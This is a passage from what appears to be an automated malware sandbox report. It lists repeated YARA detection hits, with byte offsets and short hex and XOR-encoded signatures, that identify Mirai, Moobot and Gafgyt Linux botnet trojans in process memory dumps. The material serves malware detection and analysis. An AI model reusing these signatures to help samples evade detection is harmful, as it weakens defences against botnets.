4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7106.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6653.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6653.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6653.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6653.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6653.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6653.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6667.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6667.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6667.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6667.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6667.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6667.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6766.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6766.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6766.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6766.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6766.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6766.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6745.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6338.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6338.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6338.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6338.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6338.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6338.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6697.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6697.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7098.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7098.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7098.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7098.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7098.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7098.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6875.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7213.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7213.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7213.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7213.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
